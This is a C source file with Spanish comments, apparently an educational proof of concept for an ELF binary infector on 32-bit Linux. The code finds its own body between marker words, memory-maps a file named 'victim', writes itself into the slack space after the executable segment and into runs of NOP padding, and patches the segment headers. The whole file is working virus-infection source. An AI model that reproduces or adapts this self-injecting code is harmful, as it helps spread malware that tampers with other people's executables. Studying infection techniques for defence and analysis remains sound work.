/*
* Prueba de concepto: inyección segmentada de código.
* Copyright (C) 2012 Gonzalo J. Carracedo
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <sys/syscall.h>
#include <sys/types.h>
#include <elf.h>
#include <stdint.h>
#include <sys/mman.h>
#include <stdlib.h>
/* Mínimo de contigüidad. Esto deberá modificarse una vez que escribamos la
rutina de reensamblado para asegurar que se carga completamente */
#define MIN_CONTIGUOUS 64
/* Esta vez necesitamos dos marcadores distintos, ya que ahora nuestro
código estará troceado y puede empezar (o acabar) en cualquier parte. */
#define BOTTOM_MARKER_LOW 0x504b
#define BOTTOM_MARKER_HIGH 0x5841
#define TOP_MARKER_LOW 0x4158
#define TOP_MARKER_HIGH 0x4b50
#define BOTTOM_MARKER 0x5841504b /* KPAX */
#define TOP_MARKER 0x4b504158 /* XAPK */
#define DEBUG(x) write (1, x, sizeof (x) - 1)
/* Esta versión implementa mmap en vez de read, write o lseek. Es más
rápido, más corto y funcionará mejor para nuestros propósitos */
/* Los includes pueden llegar a ser muy molestos. */
#define O_RDWR 02
/* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
/* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
sustituirá por la cadena "palabra" */
#define _STRINGIFY(x) #x
#define STRINGIFY(x) _STRINGIFY (x)
/* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
el flag "a" le obliga a que la sección se cargue en memoria */
asm (".section .code_bottom, \\"xa\\"");
asm (".long " STRINGIFY (BOTTOM_MARKER));
asm (".long 0"); /* Reservamos espacio para guardar el tamaño de la zona contigua */
asm (".long 0"); /* Puntero al primer trozo */
asm (".section .code_top, \\"xa\\"");
asm (".long " STRINGIFY (TOP_MARKER));
/* write la conservamos SÓLO para debug */
int
write (int fd, const void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
return ret;
}
/*
* Código copiado por las malas de la libc para la implementación de mmap/munmap.
*/
void *
mmap (void *start, size_t length, int prot, int flags, int fd, off_t offset);
int
munmap (void *start, size_t length);
asm (".section .text");
asm (".global munmap");
asm ("munmap:");
asm (" mov %ebx,%edx");
asm (" mov 0x8(%esp),%ecx");
asm (" mov 0x4(%esp),%ebx");
asm (" mov $0x5b,%eax");
asm (" int $0x80");
asm (" mov %edx,%ebx");
asm (" ret");
asm (".global mmap");
asm ("mmap:");
asm (" push %eax");
asm (" pusha");
asm (" mov 0x28(%esp), %ebx");
asm (" mov 0x2c(%esp), %ecx");
asm (" mov 0x30(%esp), %edx");
asm (" mov 0x34(%esp), %esi");
asm (" mov 0x38(%esp), %edi");
asm (" mov 0x3c(%esp), %ebp");
asm (" shr $0xc, %ebp"); /* El kernel se espera directamente los 12 bits de página */
asm (" mov $0xc0, %eax");
asm (" int $0x80");
asm (" mov %eax, 0x20(%esp)");
asm (" popa");
asm (" pop %eax");
asm (" ret");
static int
open (const char *path, int mode)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_open), "S" (path), "c" (mode));
return ret;
}
static int
close (int fd)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_close), "S" (fd));
return ret;
}
/* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
muy útil para depurar. */
void
long2hex (unsigned int number, char *buf)
{
int i;
char hexa[] = "0123456789abcdef";
for (i = 0; i < 8; i++)
{
buf[7 - i] = hexa[number & 0xf];
number >>= 4;
}
buf[8] = \'\\n\';
}
/* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
del %eip mediante un call (ya que no podemos calcular las direcciones de
nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
hacia arriba o hacia abajo hasta encontrarlos */
void
get_code_limits (uint32_t *bottom, uint32_t *top)
{
int i;
uint32_t this_addr;
/* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
de código en la que me hallo. El popl %0 saca la dirección de retorno
que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
inline assembly de GCC */
/* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
que llamé 1 y que está hacia adelante. Esto de utilizar números para
etiquetas se suele hacer mucho cuando la etiqueta hace referencia
a un cacho de código que no está especialmente diferenciado del resto. */
asm volatile ("call 1f\\n"
"1:\\n"
"popl %0\\n" : "=g" (this_addr));
/* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
últimos bits a cero. */
this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
this_addr = this_addr & 0xfffffffc que es un and
en binario con todo 1 menos los dos últimos bits,
esto fuerza a que el número esté alineado a 4. */
/* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
El marcador está hacia "atrás", o sea que recorreremos la memoria
restando. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
{
*bottom = i;
break;
}
}
/* Búsqueda del marcador superior, ahora tenemos que dar saltos en
nuestra memoria hacia adelante, sumando. */
for (i = this_addr; ; i += 4)
{
if (*(uint16_t *) i == TOP_MARKER_LOW)
if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
{
*top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
4 bytes) también pertenece al código. */
break;
}
}
}
/* Debido a que sólo utilizo lseek una vez (y es para calcular el tamaño de
un fichero) he optado por meterla en una macro y ahorrarme prólogos y
una generalización que no voy a necestar. Es importante ahorrar espacio.
*/
#define GET_FILE_SIZE(fd, size) \\
asm volatile ("xchg %%ebx, %%esi\\n" \\
"int $0x80\\n" \\
"xchg %%ebx, %%esi\\n" : "=a" (size) : \\
"a" (__NR_lseek), "S" (fd), "c" (0), "d" (2));
/* Equivalente a map_elf, pero usando mmap */
void *
map_elf (const char *path, size_t *size)
{
int fd;
void *map;
Elf32_Ehdr *Ehdr;
if ((fd = open (path, O_RDWR)) < 0)
return NULL; /* Error al abrir */
GET_FILE_SIZE (fd, *size);
if (*size < 0)
return NULL;
if ((uint32_t) (map = mmap (NULL, *size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) & 0xfff)
{
DEBUG (map);
close (fd);
return NULL;
}
close (fd);
Ehdr = (Elf32_Ehdr *) map;
if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
Ehdr->e_ident[EI_MAG3] != ELFMAG3 ||
Ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
Ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
{
munmap (map, *size);
return NULL; /* Números mágicos incorrectos */
}
return map;
}
/* Macro para alinear a tamaños */
#define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
/* get_alloc_info nos servirá para obtener el puntero a la brecha, su tamaño,
el espacio que tenemos en NOPs y cuántas tiras de NOPs tenemos. */
int
get_alloc_info (void *image_base, /* Dirección donde hemos cargado el binario */
Elf32_Phdr **code_phdr, /* Aquí cargaremos la cabecera de código */
void **gap_addr, /* Aquí cargamos la dirección de la brecha */
size_t *gap_size, /* Aquí, el tamaño de la brecha */
int *nop_bytes, /* Bytes libres en NOPs */
int *nop_chunks) /* Número de tiras de NOPs */
{
int i, code_idx;
uint8_t *text;
int state = 0, stripsize = 0;
off_t gap_start, gap_start_relative;
Elf32_Ehdr *Ehdr;
Elf32_Phdr *Phdr;
code_idx = -1;
Ehdr = (Elf32_Ehdr *) image_base;
Phdr = (Elf32_Phdr *) (image_base + Ehdr->e_phoff);
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (Phdr[i].p_type == PT_LOAD)
{
if (Phdr[i].p_flags & PF_X)
{
if (code_idx != -1) /* ¿Dos segmentos de código? dew */
return -1;
code_idx = i;
}
}
}
if (code_idx == -1)
return -1;
*code_phdr = Phdr + code_idx;
gap_start_relative = ALIGN ((*code_phdr)->p_filesz, 4); /* Comienzo relativo al segmento */
gap_start = (*code_phdr)->p_offset + gap_start_relative; /* Comienzo real */
*gap_size = 4096 - (gap_start & 0xfff); /* Tamaño */
*gap_addr = image_base + gap_start;
for (i = 0; i < Ehdr->e_phnum; i++)
{
/* ¿Está a caballo entre dos segmentos? */
if (Phdr[i].p_type == PT_LOAD)
if (gap_start <= Phdr[i].p_offset && Phdr[i].p_offset < gap_start + *gap_size)
*gap_size = Phdr[i].p_offset - gap_start; /* Corregimos, no queremos chafar lo otro */
}
/* El segmento de código empieza aquí */
text = (uint8_t *) (image_base + (*code_phdr)->p_offset);
*nop_bytes = 0;
*nop_chunks = 0;
/* Aquí contabilizamos cuántos bytes en NOPs usables tenemos */
for (i = 0; i < (*code_phdr)->p_filesz; i++)
{
if (!state)
{
if (text[i] == 0x90) /* RET */
{
stripsize = 1;
state++;
}
}
else
{
if (text[i] == 0x90)
stripsize++;
else
{
if (stripsize > 4) /* Sólo son útiles si tenemos 5 o más */
{
if ((i & 0xf) == 0)
{
(*nop_bytes) += stripsize;
(*nop_chunks)++;
}
}
state--;
}
}
}
return 0;
}
/* Esta es la forma más corta que se me ocurre de implementar memcpy */
#define FAST_MEMCPY(to, from, size) \\
asm volatile ("push %%ecx\\npush %%esi\\npush %%edi\\nrep movsb\\npopl %%edi\\npopl %%esi\\npopl %%ecx" :: \\
"S" (from), "D" (to), "c" (size));
/* alloc_nop_chunk nos buscará la primera tira de nops libre que encuentre */
int
alloc_nop_chunk (void *victim_code_base, /* Dirección del segmento de código */
size_t victim_code_size, /* Tamaño del mismo */
void **chunk_addr, /* Aquí guardamos la dirección */
size_t *chunk_size) /* Y aquí su tamaño */
{
uint8_t *text;
int state = 0, stripsize = 0;
int i;
text = (uint8_t *) victim_code_base;
for (i = 0; i < victim_code_size; i++)
{
if (!state)
{
if (text[i] == 0x90) /* NOP */
{
stripsize = 1;
state++;
}
}
else
{
if (text[i] == 0x90 && stripsize < 255) /* No podemos manejar cosas tan grandes */
stripsize++;
else
{
if (stripsize > 4)
{
if ((i & 0xf) == 0)
{
*chunk_addr = (void *) &text[i - stripsize];
*chunk_size = stripsize - 4;
return 0;
}
}
state--;
}
}
}
return -1;
}
int
infect (Elf32_Phdr *phdr, /* Cabecera del segmento de código */
void *self_code_base, /* Comienzo de nuestro código */
size_t self_code_size, /* Tamaño de nuestro código */
void *victim_code_base, /* Dirección del segmento víctima */
void *gap_addr, /* Inicio de la brecha */
size_t gap_size) /* Tamaño de la brecha */
{
off_t code_offset;
uint32_t *code_as_dwords;
uint32_t *chunk_addr, *prev_chunk;
size_t chunk_size;
/* Haremos una de dos cosas. Si el código cabe entero, marco el tamaño de la zona contigua */
if (self_code_size <= gap_size)
{
FAST_MEMCPY (gap_addr, self_code_base, self_code_size);
phdr->p_filesz += self_code_size;
phdr->p_memsz += self_code_size;
return 0;
}
else if (MIN_CONTIGUOUS <= gap_size)
{
DEBUG ("Se va a intentar una infección segmentada\\n");
/* Toca infección segmentada, "a ver si cuela" */
FAST_MEMCPY (gap_addr, self_code_base, gap_size);
phdr->p_filesz += gap_size;
phdr->p_memsz += gap_size;
code_as_dwords = (uint32_t *) gap_addr;
/* En code_as_dwords tendremos la sección contigua del código como un array
de dwords, donde:
code_as_dwords[0] = MARCADOR INICIAL (KPAX)
code_as_dwords[1] = Tamaño de la zona contigua
code_as_dwords[2] = Desplazamiento hacia atrás desde code_as_dwords[0]
donde se encuentra el primer fragmento */
if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
return -1; /* No quedan huecos */
/* Aquí vamos a meter directamente el tamaño */
code_as_dwords[1] = gap_size;
code_as_dwords[2] = (uint32_t) gap_addr - (uint32_t) chunk_addr;
code_offset = gap_size; /* Hemos sido capaces de colar gap_size bytes
de nuestro código */
while (code_offset < self_code_size)
{
if (chunk_size > self_code_size - code_offset)
chunk_size = self_code_size - code_offset;
/* En este bucle tenemos:
En chunk: como dwords, el puntero al primer dword del trozo.
En size: tamaño del trozo (máximo: 255)
El chunk[0] contiene los metadatos con los offsets y tal. Guardaremos
lo mismo, offset hacia atrás desde el principio de la brecha.
El trozo tendrá esta estructura forma:
chunk[0]: BYTE 0: TAMAÑO (8 bits)
BYTE 1: X \\
BYTE 2: X | DESPLAZAMIENTO DESDE LA BRECHA (24 bits)
BYTE 3: X /
chunk[1] BYTE 4: DATOS
BYTE 5: DATOS
BYTE 6: DATOS
(...)
*/
chunk_addr[0] = (unsigned char) chunk_size;
FAST_MEMCPY (&chunk_addr[1], self_code_base + code_offset, chunk_size);
code_offset += chunk_size;
if (code_offset < self_code_size)
{
prev_chunk = chunk_addr;
if (alloc_nop_chunk (victim_code_base, phdr->p_filesz, (void **) &chunk_addr, &chunk_size))
return -1; /* No quedan huecos */
prev_chunk[0] |= ((uint32_t) gap_addr - (uint32_t) chunk_addr) << 8;
}
}
return 0;
}
else
return -1;
}
/* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
void
_start (void)
{
char buffer[9];
Elf32_Phdr *code_phdr;
size_t image_size;
void *image_base;
void *gap_addr;
size_t self_code_size;
void *self_code_base;
uint32_t limit_top;
int gap_size, nop_bytes, nop_chunks;
get_code_limits ((uint32_t *) &self_code_base, &limit_top);
self_code_size = limit_top - (uint32_t) self_code_base;
if ((image_base = map_elf ("victim", &image_size)) == NULL)
{
DEBUG ("Imposible abrir victim\\n");
for (;;);
}
if (get_alloc_info (image_base, &code_phdr, &gap_addr, &gap_size, &nop_bytes, &nop_chunks) == -1)
{
DEBUG ("El binario tiene un segmento de código un tanto extraño.\\n");
for (;;);
}
DEBUG ("Tamaño de la brecha: ");
long2hex (gap_size, buffer);
write (1, buffer, 9);
DEBUG ("Número de chunks disponibles: ");
long2hex (nop_chunks, buffer);
write (1, buffer, 9);
if (nop_bytes - 4 * nop_chunks + gap_size < self_code_size)
{
DEBUG ("No cabe. No se intentará hacer una infección.\\n");
for (;;);
}
if (gap_size < MIN_CONTIGUOUS)
{
DEBUG ("No se ha satisfecho el criterio de mínima contigüidad.\\n");
for (;;);
}
if (infect (code_phdr, self_code_base, self_code_size, image_base + code_phdr->p_offset, gap_addr, gap_size) != -1)
DEBUG ("INFECTADO.\\n");
else
DEBUG ("NO INFECTADO.\\n");
for (;;);
}